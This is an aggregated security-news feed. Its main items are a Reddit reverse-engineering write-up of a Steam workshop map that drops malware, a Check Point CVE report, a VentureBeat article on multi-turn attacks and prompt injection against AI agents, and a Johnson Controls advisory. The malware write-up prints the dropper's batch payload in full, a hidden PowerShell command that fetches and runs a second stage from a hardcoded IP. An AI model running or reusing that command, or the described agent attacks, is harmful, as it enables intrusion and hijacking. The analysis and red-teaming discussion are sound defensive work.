]]> <![CDATA[Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say]]> https://tsecurity.de/de/3691089/it-security-nachrichten/kimi-k3-agents-found-redis-zero-days-and-built-rce-exploit-researchers-say/ https://tsecurity.de/de/3691089/it-security-nachrichten/kimi-k3-agents-found-redis-zero-days-and-built-rce-exploit-researchers-say/ Fri, 24 Jul 2026 11:09:24 +0200 📰 IT Security Nachrichten tsecurity.de Redis shipped seven security releases on July 23 after researchers published authenticated RCE PoCs for stock Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0. All four chains require RESTORE. The Streams chains also need EVAL and XGROUP; the 8.8.0 chain needs EVAL


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]]> <![CDATA[Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say]]> https://tsecurity.de/de/3691059/it-security-nachrichten/kimi-k3-agents-found-redis-zero-days-and-built-rce-exploit-researchers-say/ https://tsecurity.de/de/3691059/it-security-nachrichten/kimi-k3-agents-found-redis-zero-days-and-built-rce-exploit-researchers-say/ Fri, 24 Jul 2026 10:59:27 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]> https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/ https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/ Fri, 24 Jul 2026 00:21:11 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de

Table of Contents

  • Intro
  • Initial Symptom
  • First Look at the Workshop Files
  • Verifying the Asset Files
  • AssetRegistry.bin Reveals the First Clue
  • Opening the UE5 Asset Container
  • Reverse Engineering the Blueprint
  • Extracting the Embedded Payload
  • Analyzing the Dropper Script
  • Confirming Execution on an Affected PC
  • Did the Second Stage Execute?
  • Analysis Summary
  • Limitations & Unknowns
  • IOCs
  • Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51

1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

  • utoc starts with -==--==--==--==-, which is the real IoStore magic
  • pak has the correct 0x5A6F12E1 footer magic
  • no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users/<user>/Documents/ path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit )

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32

10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70

The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026

11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

  • The Workshop uploader account appears to have been created only about one week before the item was published
  • The Workshop map currently does not allow users to leave comments or ratings
  • The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
  • The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
  • Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
  • The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
  • That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

submitted by /u/feintbe
[link] [comments]]]> <![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]> https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ Thu, 23 Jul 2026 22:25:55 +0200 📰 IT Security Nachrichten tsecurity.de

Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.

In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”

The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.

Far worse than most

Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.

“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”

In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.

But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.

The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.

Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”

Challenges of IP address restrictions

While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.

“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”

Ideal platform for long-term attacks

Mike Wilkes, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.

“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”

IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. 

“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”

And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”

]]> <![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]> https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ Thu, 23 Jul 2026 20:48:24 +0200 📰 IT Nachrichten tsecurity.de When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

]]> <![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]> https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/ https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/ Thu, 23 Jul 2026 20:17:06 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.

The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

  • C-CURE 9000 and victor <=v2.90_v3.0 
  • victor Web <=v7.1 
CVSS Vendor Equipment Vulnerabilities
v3 9.6 Johnson Controls Johnson Controls C-CURE 9000 and Victor application server Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges

Background

  • Critical Infrastructure Sectors: Critical Manufacturing
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Ireland

Vulnerabilities

Expand All +

CVE-2026-21655

Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.

View CVE Details

Affected Products

Johnson Controls C-CURE 9000 and Victor application server
Vendor:
Johnson Controls
Product Version:
Johnson Controls C-CURE 9000 and victor: <=v2.90_v3.0
Product Status:
known_affected
Remediations

Mitigation
Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).

Vendor fix
Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.

Mitigation
Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

Mitigation
Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

Mitigation
Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

Mitigation
Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

Mitigation
Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

Mitigation
Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

Mitigation
For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

Relevant CWE: CWE-918 Server-Side Request Forgery (SSRF)

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.8 HIGH CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 8.7 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-21653

Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.

View CVE Details

Affected Products

Johnson Controls C-CURE 9000 and Victor application server
Vendor:
Johnson Controls
Product Version:
Johnson Controls victor Web: <v7.0
Product Status:
known_affected
Remediations

Vendor fix
(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.

Mitigation
Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

Mitigation
Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

Mitigation
Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

Mitigation
Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

Mitigation
Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

Mitigation
Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

Mitigation
For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

Relevant CWE: CWE-918 Server-Side Request Forgery (SSRF)

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 9.6 CRITICAL CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 9.4 CRITICAL CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE-2026-34496

Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.

View CVE Details

Affected Products

Johnson Controls C-CURE 9000 and Victor application server
Vendor:
Johnson Controls
Product Version:
Johnson Controls victor Web: <=v7.1
Product Status:
known_affected
Remediations

Vendor fix
(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.

Mitigation
Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.

Mitigation
Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.

Mitigation
Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.

Mitigation
Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.

Mitigation
Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.

Mitigation
Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.

Mitigation
